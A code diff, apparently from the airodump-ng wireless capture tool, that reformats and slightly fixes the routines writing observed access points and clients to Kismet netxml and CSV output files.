-					(ap_cur->essid[0] == 0) ? "true" : "false");
+		fprintf(G.f_kis_xml,
+				"\t\t\t<essid cloaked=\"%s\">",
+				(ap_cur->essid[0] == 0) ? "true" : "false");
 		essid = sanitize_xml(ap_cur->essid, ap_cur->ssid_length);
-		if (essid != NULL) {
+		if (essid != NULL)
+		{
 			fprintf(G.f_kis_xml, "%s", essid);
 			free(essid);
 		}
@@ -4329,47 +5130,61 @@
 		fprintf(G.f_kis_xml, "\t\t</SSID>\n");
 
 		/* BSSID */
-		fprintf( G.f_kis_xml, "\t\t<BSSID>%02X:%02X:%02X:%02X:%02X:%02X</BSSID>\n",
-					 ap_cur->bssid[0], ap_cur->bssid[1],
-					 ap_cur->bssid[2], ap_cur->bssid[3],
-					 ap_cur->bssid[4], ap_cur->bssid[5] );
+		fprintf(G.f_kis_xml,
+				"\t\t<BSSID>%02X:%02X:%02X:%02X:%02X:%02X</BSSID>\n",
+				ap_cur->bssid[0],
+				ap_cur->bssid[1],
+				ap_cur->bssid[2],
+				ap_cur->bssid[3],
+				ap_cur->bssid[4],
+				ap_cur->bssid[5]);
 
 		/* Manufacturer, if set using standard oui list */
-		manuf = sanitize_xml((unsigned char *)ap_cur->manuf, strlen(ap_cur->manuf));
-		fprintf(G.f_kis_xml, "\t\t<manuf>%s</manuf>\n", (manuf != NULL) ? manuf : "Unknown");
+		manuf = sanitize_xml((unsigned char *) ap_cur->manuf,
+							 strlen(ap_cur->manuf));
+		fprintf(G.f_kis_xml,
+				"\t\t<manuf>%s</manuf>\n",
+				(manuf != NULL) ? manuf : "Unknown");
 		free(manuf);
 
 		/* Channel
 		   FIXME: Take G.freqoption in account */
-		fprintf(G.f_kis_xml, "\t\t<channel>%d</channel>\n", (ap_cur->channel) == -1 ? 0 : ap_cur->channel);
+		fprintf(G.f_kis_xml,
+				"\t\t<channel>%d</channel>\n",
+				(ap_cur->channel) == -1 ? 0 : ap_cur->channel);
 
 		/* Freq (in Mhz) and total number of packet on that frequency
 		   FIXME: Take G.freqoption in account */
-		fprintf(G.f_kis_xml, "\t\t<freqmhz>%d %ld</freqmhz>\n",
-					(ap_cur->channel) == -1 ? 0 : getFrequencyFromChannel(ap_cur->channel),
-					//ap_cur->nb_data + ap_cur->nb_bcn );
-					ap_cur->nb_pkt );
+		fprintf(G.f_kis_xml,
+				"\t\t<freqmhz>%d %lu</freqmhz>\n",
+				(ap_cur->channel) == -1 ? 0 : getFrequencyFromChannel(
+												  ap_cur->channel),
+				// ap_cur->nb_data + ap_cur->nb_bcn );
+				ap_cur->nb_pkt);
 
 		/* XXX: What about 5.5Mbit */
-		fprintf(G.f_kis_xml, "\t\t<maxseenrate>%d</maxseenrate>\n", (ap_cur->max_speed == -1) ? 0 : ap_cur->max_speed * 1000);
+		fprintf(G.f_kis_xml,
+				"\t\t<maxseenrate>%d</maxseenrate>\n",
+				(ap_cur->max_speed == -1) ? 0 : ap_cur->max_speed * 1000);
 
 		/* Those 2 lines always stays the same */
 		fprintf(G.f_kis_xml, "\t\t<carrier>IEEE 802.11b+</carrier>\n");
 		fprintf(G.f_kis_xml, "\t\t<encoding>CCK</encoding>\n");
 
 		/* Packets */
-		fprintf(G.f_kis_xml, "\t\t<packets>\n"
-					"\t\t\t<LLC>%ld</LLC>\n"
-					"\t\t\t<data>%ld</data>\n"
-					"\t\t\t<crypt>0</crypt>\n"
-					"\t\t\t<total>%ld</total>\n"
-					"\t\t\t<fragments>0</fragments>\n"
-					"\t\t\t<retries>0</retries>\n"
-					"\t\t</packets>\n",
-					ap_cur->nb_data, ap_cur->nb_data,
-					//ap_cur->nb_data + ap_cur->nb_bcn );
-					ap_cur->nb_pkt );
-
+		fprintf(G.f_kis_xml,
+				"\t\t<packets>\n"
+				"\t\t\t<LLC>%lu</LLC>\n"
+				"\t\t\t<data>%lu</data>\n"
+				"\t\t\t<crypt>0</crypt>\n"
+				"\t\t\t<total>%lu</total>\n"
+				"\t\t\t<fragments>0</fragments>\n"
+				"\t\t\t<retries>0</retries>\n"
+				"\t\t</packets>\n",
+				ap_cur->nb_data,
+				ap_cur->nb_data,
+				// ap_cur->nb_data + ap_cur->nb_bcn );
+				ap_cur->nb_pkt);
 
 		/* XXX: What does that field mean? Is it the total size of data? */
 		fprintf(G.f_kis_xml, "\t\t<datasize>0</datasize>\n");
@@ -4378,12 +5193,11 @@
 		st_cur = G.st_1st;
 		client_nbr = 0;
 
-		while ( st_cur != NULL )
+		while (st_cur != NULL)
 		{
 			/* Check if the station is associated to the current AP */
-			if ( memcmp( st_cur->stmac, BROADCAST, 6 ) != 0 &&
-				st_cur->base != NULL &&
-				memcmp( st_cur->base->bssid, ap_cur->bssid, 6 ) == 0 )
+			if (memcmp(st_cur->stmac, BROADCAST, 6) != 0 && st_cur->base != NULL
+				&& memcmp(st_cur->base->bssid, ap_cur->bssid, 6) == 0)
 			{
 				dump_write_kismet_netxml_client_info(st_cur, ++client_nbr);
 			}
@@ -4394,79 +5208,90 @@
 
 		/* SNR information */
 		average_power = (ap_cur->avg_power == -1) ? 0 : ap_cur->avg_power;
-		max_power = (ap_cur->best_power == -1) ? average_power : ap_cur->best_power;
-		fprintf(G.f_kis_xml, "\t\t<snr-info>\n"
-					"\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n"
-					"\t\t\t<last_noise_dbm>0</last_noise_dbm>\n"
-					"\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n"
-					"\t\t\t<last_noise_rssi>0</last_noise_rssi>\n"
-					"\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n"
-					"\t\t\t<min_noise_dbm>0</min_noise_dbm>\n"
-					"\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n"
-					"\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n"
-					"\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n"
-					"\t\t\t<max_noise_dbm>0</max_noise_dbm>\n"
-					"\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n"
-					"\t\t\t<max_noise_rssi>0</max_noise_rssi>\n"
-					 "\t\t</snr-info>\n",
-					 average_power, average_power, average_power,
-					 max_power, max_power );
+		max_power
+			= (ap_cur->best_power == -1) ? average_power : ap_cur->best_power;
+		fprintf(G.f_kis_xml,
+				"\t\t<snr-info>\n"
+				"\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n"
+				"\t\t\t<last_noise_dbm>0</last_noise_dbm>\n"
+				"\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n"
+				"\t\t\t<last_noise_rssi>0</last_noise_rssi>\n"
+				"\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n"
+				"\t\t\t<min_noise_dbm>0</min_noise_dbm>\n"
+				"\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n"
+				"\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n"
+				"\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n"
+				"\t\t\t<max_noise_dbm>0</max_noise_dbm>\n"
+				"\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n"
+				"\t\t\t<max_noise_rssi>0</max_noise_rssi>\n"
+				"\t\t</snr-info>\n",
+				average_power,
+				average_power,
+				average_power,
+				max_power,
+				max_power);
 
 		/* GPS Coordinates */
 		if (G.usegpsd)
 		{
-			fprintf(G.f_kis_xml, "\t\t<gps-info>\n"
-						"\t\t\t<min-lat>%.6f</min-lat>\n"
-						"\t\t\t<min-lon>%.6f</min-lon>\n"
-						"\t\t\t<min-alt>%.6f</min-alt>\n"
-						"\t\t\t<min-spd>%.6f</min-spd>\n"
-						"\t\t\t<max-lat>%.6f</max-lat>\n"
-						"\t\t\t<max-lon>%.6f</max-lon>\n"
-						"\t\t\t<max-alt>%.6f</max-alt>\n"
-						"\t\t\t<max-spd>%.6f</max-spd>\n"
-						"\t\t\t<peak-lat>%.6f</peak-lat>\n"
-						"\t\t\t<peak-lon>%.6f</peak-lon>\n"
-						"\t\t\t<peak-alt>%.6f</peak-alt>\n"
-						"\t\t\t<avg-lat>%.6f</avg-lat>\n"
-						"\t\t\t<avg-lon>%.6f</avg-lon>\n"
-						"\t\t\t<avg-alt>%.6f</avg-alt>\n"
-						 "\t\t</gps-info>\n",
-						ap_cur->gps_loc_min[0],
-						ap_cur->gps_loc_min[1],
-						ap_cur->gps_loc_min[2],
-						ap_cur->gps_loc_min[3],
-						ap_cur->gps_loc_max[0],
-						ap_cur->gps_loc_max[1],
-						ap_cur->gps_loc_max[2],
-						ap_cur->gps_loc_max[3],
-						ap_cur->gps_loc_best[0],
-						ap_cur->gps_loc_best[1],
-						ap_cur->gps_loc_best[2],
-						/* Can the "best" be considered as average??? */
-						ap_cur->gps_loc_best[0],
-						ap_cur->gps_loc_best[1],
-						ap_cur->gps_loc_best[2] );
+			fprintf(G.f_kis_xml,
+					"\t\t<gps-info>\n"
+					"\t\t\t<min-lat>%.6f</min-lat>\n"
+					"\t\t\t<min-lon>%.6f</min-lon>\n"
+					"\t\t\t<min-alt>%.6f</min-alt>\n"
+					"\t\t\t<min-spd>%.6f</min-spd>\n"
+					"\t\t\t<max-lat>%.6f</max-lat>\n"
+					"\t\t\t<max-lon>%.6f</max-lon>\n"
+					"\t\t\t<max-alt>%.6f</max-alt>\n"
+					"\t\t\t<max-spd>%.6f</max-spd>\n"
+					"\t\t\t<peak-lat>%.6f</peak-lat>\n"
+					"\t\t\t<peak-lon>%.6f</peak-lon>\n"
+					"\t\t\t<peak-alt>%.6f</peak-alt>\n"
+					"\t\t\t<avg-lat>%.6f</avg-lat>\n"
+					"\t\t\t<avg-lon>%.6f</avg-lon>\n"
+					"\t\t\t<avg-alt>%.6f</avg-alt>\n"
+					"\t\t</gps-info>\n",
+					ap_cur->gps_loc_min[0],
+					ap_cur->gps_loc_min[1],
+					ap_cur->gps_loc_min[2],
+					ap_cur->gps_loc_min[3],
+					ap_cur->gps_loc_max[0],
+					ap_cur->gps_loc_max[1],
+					ap_cur->gps_loc_max[2],
+					ap_cur->gps_loc_max[3],
+					ap_cur->gps_loc_best[0],
+					ap_cur->gps_loc_best[1],
+					ap_cur->gps_loc_best[2],
+					/* Can the "best" be considered as average??? */
+					ap_cur->gps_loc_best[0],
+					ap_cur->gps_loc_best[1],
+					ap_cur->gps_loc_best[2]);
 		}
 
 		/* BSS Timestamp */
-		fprintf(G.f_kis_xml, "\t\t<bsstimestamp>%llu</bsstimestamp>\n", ap_cur->timestamp);
+		fprintf(G.f_kis_xml,
+				"\t\t<bsstimestamp>%llu</bsstimestamp>\n",
+				ap_cur->timestamp);
 
 		/* Trailing information */
-		fprintf(G.f_kis_xml, "\t\t<cdp-device></cdp-device>\n"
-					 "\t\t<cdp-portid></cdp-portid>\n");
+		fprintf(G.f_kis_xml,
+				"\t\t<cdp-device></cdp-device>\n"
+				"\t\t<cdp-portid></cdp-portid>\n");
 
 		/* Closing tag for the current wireless network */
 		fprintf(G.f_kis_xml, "\t</wireless-network>\n");
 		//-------- End of XML
 
-        ap_cur = ap_cur->next;
-    }
+		ap_cur = ap_cur->next;
+	}
 
 	/* Write all unassociated stations */
 	st_cur = G.st_1st;
-	while (st_cur != NULL) {
+	while (st_cur != NULL)
+	{
 		/* If not associated and not Broadcast Mac */
-		if ( st_cur->base == NULL || memcmp(st_cur->base->bssid, BROADCAST, 6) == 0 )
+		if (st_cur->base == NULL
+			|| memcmp(st_cur->base->bssid, BROADCAST, 6) == 0)
 		{
 			++network_number; // Network Number
 
@@ -4477,49 +5302,67 @@
 			strncpy(last_time, ctime(&st_cur->tlast), TIME_STR_LENGTH - 1);
 			last_time[strlen(last_time) - 1] = 0; // remove new line
 
-			fprintf(G.f_kis_xml, "\t<wireless-network number=\"%d\" type=\"probe\" ",
-				network_number);
-			fprintf(G.f_kis_xml, "first-time=\"%s\" last-time=\"%s\">\n", first_time, last_time);
+			fprintf(G.f_kis_xml,
+					"\t<wireless-network number=\"%d\" type=\"probe\" ",
+					network_number);
+			fprintf(G.f_kis_xml,
+					"first-time=\"%s\" last-time=\"%s\">\n",
+					first_time,
+					last_time);
 
 			/* BSSID */
-			fprintf( G.f_kis_xml, "\t\t<BSSID>%02X:%02X:%02X:%02X:%02X:%02X</BSSID>\n",
-					 st_cur->stmac[0], st_cur->stmac[1],
-					 st_cur->stmac[2], st_cur->stmac[3],
-					 st_cur->stmac[4], st_cur->stmac[5] );
+			fprintf(G.f_kis_xml,
+					"\t\t<BSSID>%02X:%02X:%02X:%02X:%02X:%02X</BSSID>\n",
+					st_cur->stmac[0],
+					st_cur->stmac[1],
+					st_cur->stmac[2],
+					st_cur->stmac[3],
+					st_cur->stmac[4],
+					st_cur->stmac[5]);
 
 			/* Manufacturer, if set using standard oui list */
-			manuf = sanitize_xml((unsigned char *)st_cur->manuf, strlen(st_cur->manuf));
-			fprintf(G.f_kis_xml, "\t\t<manuf>%s</manuf>\n", (manuf != NULL) ? manuf : "Unknown");
+			manuf = sanitize_xml((unsigned char *) st_cur->manuf,
+								 strlen(st_cur->manuf));
+			fprintf(G.f_kis_xml,
+					"\t\t<manuf>%s</manuf>\n",
+					(manuf != NULL) ? manuf : "Unknown");
 			free(manuf);
 
 			/* Channel
 			   FIXME: Take G.freqoption in account */
-			fprintf(G.f_kis_xml, "\t\t<channel>%d</channel>\n", st_cur->channel);
+			fprintf(
+				G.f_kis_xml, "\t\t<channel>%d</channel>\n", st_cur->channel);
 
 			/* Freq (in Mhz) and total number of packet on that frequency
 			   FIXME: Take G.freqoption in account */
-			fprintf(G.f_kis_xml, "\t\t<freqmhz>%d %ld</freqmhz>\n",
-						getFrequencyFromChannel(st_cur->channel),
-						st_cur->nb_pkt );
+			fprintf(G.f_kis_xml,
+					"\t\t<freqmhz>%d %lu</freqmhz>\n",
+					getFrequencyFromChannel(st_cur->channel),
+					st_cur->nb_pkt);
 
 			/* Rate: inaccurate because it's the latest rate seen */
-			client_max_rate = ( st_cur->rate_from > st_cur->rate_to ) ? st_cur->rate_from : st_cur->rate_to ;
-			fprintf(G.f_kis_xml, "\t\t<maxseenrate>%.6f</maxseenrate>\n", client_max_rate /
+			client_max_rate = (st_cur->rate_from > st_cur->rate_to)
+								  ? st_cur->rate_from
+								  : st_cur->rate_to;
+			fprintf(G.f_kis_xml,
+					"\t\t<maxseenrate>%.6f</maxseenrate>\n",
+					client_max_rate /
 #if defined(__x86_64__) && defined(__CYGWIN__)
-				(0.0f + 1000000) );
+						(0.0f + 1000000));
 #else
-				1000000.0 );
+						1000000.0);
 #endif
 
 			fprintf(G.f_kis_xml, "\t\t<carrier>IEEE 802.11b+</carrier>\n");
 			fprintf(G.f_kis_xml, "\t\t<encoding>CCK</encoding>\n");
 
 			/* Packets */
-			fprintf(G.f_kis_xml, "\t\t<packets>\n"
+			fprintf(G.f_kis_xml,
+					"\t\t<packets>\n"
 					"\t\t\t<LLC>0</LLC>\n"
 					"\t\t\t<data>0</data>\n"
 					"\t\t\t<crypt>0</crypt>\n"
-					"\t\t\t<total>%ld</total>\n"
+					"\t\t\t<total>%lu</total>\n"
 					"\t\t\t<fragments>0</fragments>\n"
 					"\t\t\t<retries>0</retries>\n"
 					"\t\t</packets>\n",
@@ -4530,55 +5373,74 @@
 
 			/* SNR information */
 			average_power = (st_cur->power == -1) ? 0 : st_cur->power;
-			fprintf(G.f_kis_xml, "\t\t<snr-info>\n"
-						"\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n"
-						"\t\t\t<last_noise_dbm>0</last_noise_dbm>\n"
-						"\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n"
-						"\t\t\t<last_noise_rssi>0</last_noise_rssi>\n"
-						"\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n"
-						"\t\t\t<min_noise_dbm>0</min_noise_dbm>\n"
-						"\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n"
-						"\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n"
-						"\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n"
-						"\t\t\t<max_noise_dbm>0</max_noise_dbm>\n"
-						"\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n"
-						"\t\t\t<max_noise_rssi>0</max_noise_rssi>\n"
-						 "\t\t</snr-info>\n",
-						 average_power, average_power, average_power,
-						 average_power, average_power );
+			max_power = (st_cur->best_power == -1) ? average_power
+												   : st_cur->best_power;
+
+			fprintf(G.f_kis_xml,
+					"\t\t<snr-info>\n"
+					"\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n"
+					"\t\t\t<last_noise_dbm>0</last_noise_dbm>\n"
+					"\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n"
+					"\t\t\t<last_noise_rssi>0</last_noise_rssi>\n"
+					"\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n"
+					"\t\t\t<min_noise_dbm>0</min_noise_dbm>\n"
+					"\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n"
+					"\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n"
+					"\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n"
+					"\t\t\t<max_noise_dbm>0</max_noise_dbm>\n"
+					"\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n"
+					"\t\t\t<max_noise_rssi>0</max_noise_rssi>\n"
+					"\t\t</snr-info>\n",
+					average_power,
+					average_power,
+					average_power,
+					max_power,
+					max_power);
+
+			/* GPS Coordinates for clients */
 
-			/* GPS Coordinates
-			   XXX: We don't have GPS coordinates for clients */
 			if (G.usegpsd)
 			{
-				fprintf(G.f_kis_xml, "\t\t<gps-info>\n"
-							"\t\t\t<min-lat>%.6f</min-lat>\n"
-							"\t\t\t<min-lon>%.6f</min-lon>\n"
-							"\t\t\t<min-alt>%.6f</min-alt>\n"
-							"\t\t\t<min-spd>%.6f</min-spd>\n"
-							"\t\t\t<max-lat>%.6f</max-lat>\n"
-							"\t\t\t<max-lon>%.6f</max-lon>\n"
-							"\t\t\t<max-alt>%.6f</max-alt>\n"
-							"\t\t\t<max-spd>%.6f</max-spd>\n"
-							"\t\t\t<peak-lat>%.6f</peak-lat>\n"
-							"\t\t\t<peak-lon>%.6f</peak-lon>\n"
-							"\t\t\t<peak-alt>%.6f</peak-alt>\n"
-							"\t\t\t<avg-lat>%.6f</avg-lat>\n"
-							"\t\t\t<avg-lon>%.6f</avg-lon>\n"
-							"\t\t\t<avg-alt>%.6f</avg-alt>\n"
-							 "\t\t</gps-info>\n",
-							 0.0, 0.0, 0.0, 0.0,
-							 0.0, 0.0, 0.0, 0.0,
-							 0.0, 0.0, 0.0,
-							 0.0, 0.0, 0.0 );
+				fprintf(G.f_kis_xml,
+						"\t\t<gps-info>\n"
+						"\t\t\t<min-lat>%.6f</min-lat>\n"
+						"\t\t\t<min-lon>%.6f</min-lon>\n"
+						"\t\t\t<min-alt>%.6f</min-alt>\n"
+						"\t\t\t<min-spd>%.6f</min-spd>\n"
+						"\t\t\t<max-lat>%.6f</max-lat>\n"
+						"\t\t\t<max-lon>%.6f</max-lon>\n"
+						"\t\t\t<max-alt>%.6f</max-alt>\n"
+						"\t\t\t<max-spd>%.6f</max-spd>\n"
+						"\t\t\t<peak-lat>%.6f</peak-lat>\n"
+						"\t\t\t<peak-lon>%.6f</peak-lon>\n"
+						"\t\t\t<peak-alt>%.6f</peak-alt>\n"
+						"\t\t\t<avg-lat>%.6f</avg-lat>\n"
+						"\t\t\t<avg-lon>%.6f</avg-lon>\n"
+						"\t\t\t<avg-alt>%.6f</avg-alt>\n"
+						"\t\t</gps-info>\n",
+						st_cur->gps_loc_min[0],
+						st_cur->gps_loc_min[1],
+						st_cur->gps_loc_min[2],
+						st_cur->gps_loc_min[3],
+						st_cur->gps_loc_max[0],
+						st_cur->gps_loc_max[1],
+						st_cur->gps_loc_max[2],
+						st_cur->gps_loc_max[3],
+						st_cur->gps_loc_best[0],
+						st_cur->gps_loc_best[1],
+						st_cur->gps_loc_best[2],
+						/* Can the "best" be considered as average??? */
+						st_cur->gps_loc_best[0],
+						st_cur->gps_loc_best[1],
+						st_cur->gps_loc_best[2]);
 			}
 
 			fprintf(G.f_kis_xml, "\t\t<bsstimestamp>0</bsstimestamp>\n");
 
 			/* CDP information */
-			fprintf(G.f_kis_xml, "\t\t<cdp-device></cdp-device>\n"
-					 	"\t\t<cdp-portid></cdp-portid>\n");
-
+			fprintf(G.f_kis_xml,
+					"\t\t<cdp-device></cdp-device>\n"
+					"\t\t<cdp-portid></cdp-portid>\n");
 
 			/* Write client information */
 			dump_write_kismet_netxml_client_info(st_cur, 1);
@@ -4590,213 +5452,242 @@
 	/* TODO: Also go through na_1st */
 
 	/* Trailing */
-    fprintf( G.f_kis_xml, "%s\n", KISMET_NETXML_TRAILER );
+	fprintf(G.f_kis_xml, "%s\n", KISMET_NETXML_TRAILER);
 
-    fflush( G.f_kis_xml );
+	fflush(G.f_kis_xml);
 
-    /* Sometimes there can be crap at the end of the file, so truncating is a good idea.
-       XXX: Is this really correct, I hope fileno() won't have any side effect */
-	unused = ftruncate(fileno(G.f_kis_xml), ftell( G.f_kis_xml ) );
+	/* Sometimes there can be crap at the end of the file, so truncating is a
+	   good idea.
+	   XXX: Is this really correct, I hope fileno() won't have any side effect
+	   */
+	fp = fileno(G.f_kis_xml);
+	fpos = ftell(G.f_kis_xml);
+	if (fp == -1 || fpos == -1)
+	{
+		return 0;
+	}
+	unused = ftruncate(fp, fpos);
 
-    return 0;
+	return 0;
 }
 #undef TIME_STR_LENGTH
 
-#define KISMET_HEADER "Network;NetType;ESSID;BSSID;Info;Channel;Cloaked;Encryption;Decrypted;MaxRate;MaxSeenRate;Beacon;LLC;Data;Crypt;Weak;Total;Carrier;Encoding;FirstTime;LastTime;BestQuality;BestSignal;BestNoise;GPSMinLat;GPSMinLon;GPSMinAlt;GPSMinSpd;GPSMaxLat;GPSMaxLon;GPSMaxAlt;GPSMaxSpd;GPSBestLat;GPSBestLon;GPSBestAlt;DataSize;IPType;IP;\n"
-
+#define KISMET_HEADER                                                          \
+	"Network;NetType;ESSID;BSSID;Info;Channel;Cloaked;Encryption;Decrypted;"   \
+	"MaxRate;MaxSeenRate;Beacon;LLC;Data;Crypt;Weak;Total;Carrier;Encoding;"   \
+	"FirstTime;LastTime;BestQuality;BestSignal;BestNoise;GPSMinLat;GPSMinLon;" \
+	"GPSMinAlt;GPSMinSpd;GPSMaxLat;GPSMaxLon;GPSMaxAlt;GPSMaxSpd;GPSBestLat;"  \
+	"GPSBestLon;GPSBestAlt;DataSize;IPType;IP;\n"
+
+static int dump_write_kismet_csv(void)
+{
+	int i, k;
+	//     struct tm *ltime;
+	/*    char ssid_list[512];*/
+	struct AP_info * ap_cur;
 
-int dump_write_kismet_csv( void )
-{
-    int i, k;
-//     struct tm *ltime;
-/*    char ssid_list[512];*/
-    struct AP_info *ap_cur;
+	if (!G.record_data || !G.output_format_kismet_csv) return 0;
 
-    if (! G.record_data || !G.output_format_kismet_csv)
-    	return 0;
-
-    fseek( G.f_kis, 0, SEEK_SET );
+	if (fseek(G.f_kis, 0, SEEK_SET) == -1)
+	{
+		return 0;
+	}
 
-    fprintf( G.f_kis, KISMET_HEADER );
+	fprintf(G.f_kis, KISMET_HEADER);
 
-    ap_cur = G.ap_1st;
+	ap_cur = G.ap_1st;
 
-    k=1;
-    while( ap_cur != NULL )
-    {
-        if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 )
-        {
-            ap_cur = ap_cur->next;
-            continue;
-        }
+	k = 1;
+	while (ap_cur != NULL)
+	{
+		if (memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
 
-        if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0))
-        {
-            ap_cur = ap_cur->next;
-            continue;
-        }
+		if (ap_cur->security != 0 && G.f_encrypt != 0
+			&& ((ap_cur->security & G.f_encrypt) == 0))
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
 
-        if(is_filtered_essid(ap_cur->essid) || ap_cur->nb_pkt < 2)
-        {
-            ap_cur = ap_cur->next;
-            continue;
-        }
+		if (is_filtered_essid(ap_cur->essid) || ap_cur->nb_pkt < 2)
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
 
-        //Network
-        fprintf( G.f_kis, "%d;", k );
+		// Network
+		fprintf(G.f_kis, "%d;", k);
 
-        //NetType
-        fprintf( G.f_kis, "infrastructure;");
+		// NetType
+		fprintf(G.f_kis, "infrastructure;");
 
-        //ESSID
-        for(i=0; i<ap_cur->ssid_length; i++)
-        {
-            fprintf( G.f_kis, "%c", ap_cur->essid[i] );
-        }
-        fprintf( G.f_kis, ";" );
+		// ESSID
+		for (i = 0; i < ap_cur->ssid_length; i++)
+		{
+			fprintf(G.f_kis, "%c", ap_cur->essid[i]);
+		}
+		fprintf(G.f_kis, ";");
 
-        //BSSID
-        fprintf( G.f_kis, "%02X:%02X:%02X:%02X:%02X:%02X;",
-                 ap_cur->bssid[0], ap_cur->bssid[1],
-                 ap_cur->bssid[2], ap_cur->bssid[3],
-                 ap_cur->bssid[4], ap_cur->bssid[5] );
+		// BSSID
+		fprintf(G.f_kis,
+				"%02X:%02X:%02X:%02X:%02X:%02X;",
+				ap_cur->bssid[0],
+				ap_cur->bssid[1],
+				ap_cur->bssid[2],
+				ap_cur->bssid[3],
+				ap_cur->bssid[4],
+				ap_cur->bssid[5]);
 
-        //Info
-        fprintf( G.f_kis, ";");
+		// Info
+		fprintf(G.f_kis, ";");
 
-        //Channel
-        fprintf( G.f_kis, "%d;", ap_cur->channel);
+		// Channel
+		fprintf(G.f_kis, "%d;", ap_cur->channel);
 
-        //Cloaked
-        fprintf( G.f_kis, "No;");
+		// Cloaked
+		fprintf(G.f_kis, "No;");
 
-        //Encryption
-        if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) != 0)
-        {
-            if( ap_cur->security & STD_WPA2 ) fprintf( G.f_kis, "WPA2," );
-            if( ap_cur->security & STD_WPA  ) fprintf( G.f_kis, "WPA," );
-            if( ap_cur->security & STD_WEP  ) fprintf( G.f_kis, "WEP," );
-            if( ap_cur->security & STD_OPN  ) fprintf( G.f_kis, "OPN," );
-        }
+		// Encryption
+		if ((ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)) != 0)
+		{
+			if (ap_cur->security & STD_WPA2) fprintf(G.f_kis, "WPA2,");
+			if (ap_cur->security & STD_WPA) fprintf(G.f_kis, "WPA,");
+			if (ap_cur->security & STD_WEP) fprintf(G.f_kis, "WEP,");
+			if (ap_cur->security & STD_OPN) fprintf(G.f_kis, "OPN,");
+		}
 
-        if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) fprintf( G.f_kis, "None,");
-        else
-        {
-            if( ap_cur->security & ENC_CCMP   ) fprintf( G.f_kis, "AES-CCM,");
-            if( ap_cur->security & ENC_WRAP   ) fprintf( G.f_kis, "WRAP,");
-            if( ap_cur->security & ENC_TKIP   ) fprintf( G.f_kis, "TKIP,");
-            if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_kis, "WEP104,");
-            if( ap_cur->security & ENC_WEP40  ) fprintf( G.f_kis, "WEP40,");
-/*            if( ap_cur->security & ENC_WEP    ) fprintf( G.f_kis, " WEP,");*/
-        }
+		if ((ap_cur->security
+			 & (ENC_WEP | ENC_TKIP | ENC_WRAP | ENC_CCMP | ENC_WEP104
+				| ENC_WEP40
+				| ENC_GCMP))
+			== 0)
+			fprintf(G.f_kis, "None,");
+		else
+		{
+			if (ap_cur->security & ENC_CCMP) fprintf(G.f_kis, "AES-CCM,");
+			if (ap_cur->security & ENC_WRAP) fprintf(G.f_kis, "WRAP,");
+			if (ap_cur->security & ENC_TKIP) fprintf(G.f_kis, "TKIP,");
+			if (ap_cur->security & ENC_WEP104) fprintf(G.f_kis, "WEP104,");
+			if (ap_cur->security & ENC_WEP40) fprintf(G.f_kis, "WEP40,");
+			/*            if( ap_cur->security & ENC_WEP    ) fprintf( G.f_kis,
+			 * " WEP,");*/
+			if (ap_cur->security & ENC_WEP40) fprintf(G.f_kis, "GCMP,");
+		}
 
-        fseek(G.f_kis, -1, SEEK_CUR);
-        fprintf(G.f_kis, ";");
+		fseek(G.f_kis, -1, SEEK_CUR);
+		fprintf(G.f_kis, ";");
 
-        //Decrypted
-        fprintf( G.f_kis, "No;");
+		// Decrypted
+		fprintf(G.f_kis, "No;");
 
-        //MaxRate
-        fprintf( G.f_kis, "%d.0;", ap_cur->max_speed );
+		// MaxRate
+		fprintf(G.f_kis, "%d.0;", ap_cur->max_speed);
 
-        //MaxSeenRate
-        fprintf( G.f_kis, "0;");
+		// MaxSeenRate
+		fprintf(G.f_kis, "0;");
 
-        //Beacon
-        fprintf( G.f_kis, "%ld;", ap_cur->nb_bcn);
+		// Beacon
+		fprintf(G.f_kis, "%lu;", ap_cur->nb_bcn);
 
-        //LLC
-        fprintf( G.f_kis, "0;");
+		// LLC
+		fprintf(G.f_kis, "0;");
 
-        //Data
-        fprintf( G.f_kis, "%ld;", ap_cur->nb_data );
+		// Data
+		fprintf(G.f_kis, "%lu;", ap_cur->nb_data);
 
-        //Crypt
-        fprintf( G.f_kis, "0;");
+		// Crypt
+		fprintf(G.f_kis, "0;");
 
-        //Weak
-        fprintf( G.f_kis, "0;");
+		// Weak
+		fprintf(G.f_kis, "0;");
 
-        //Total
-        fprintf( G.f_kis, "%ld;", ap_cur->nb_data );
+		// Total
+		fprintf(G.f_kis, "%lu;", ap_cur->nb_data);
 
-        //Carrier
-        fprintf( G.f_kis, ";");
+		// Carrier
+		fprintf(G.f_kis, ";");
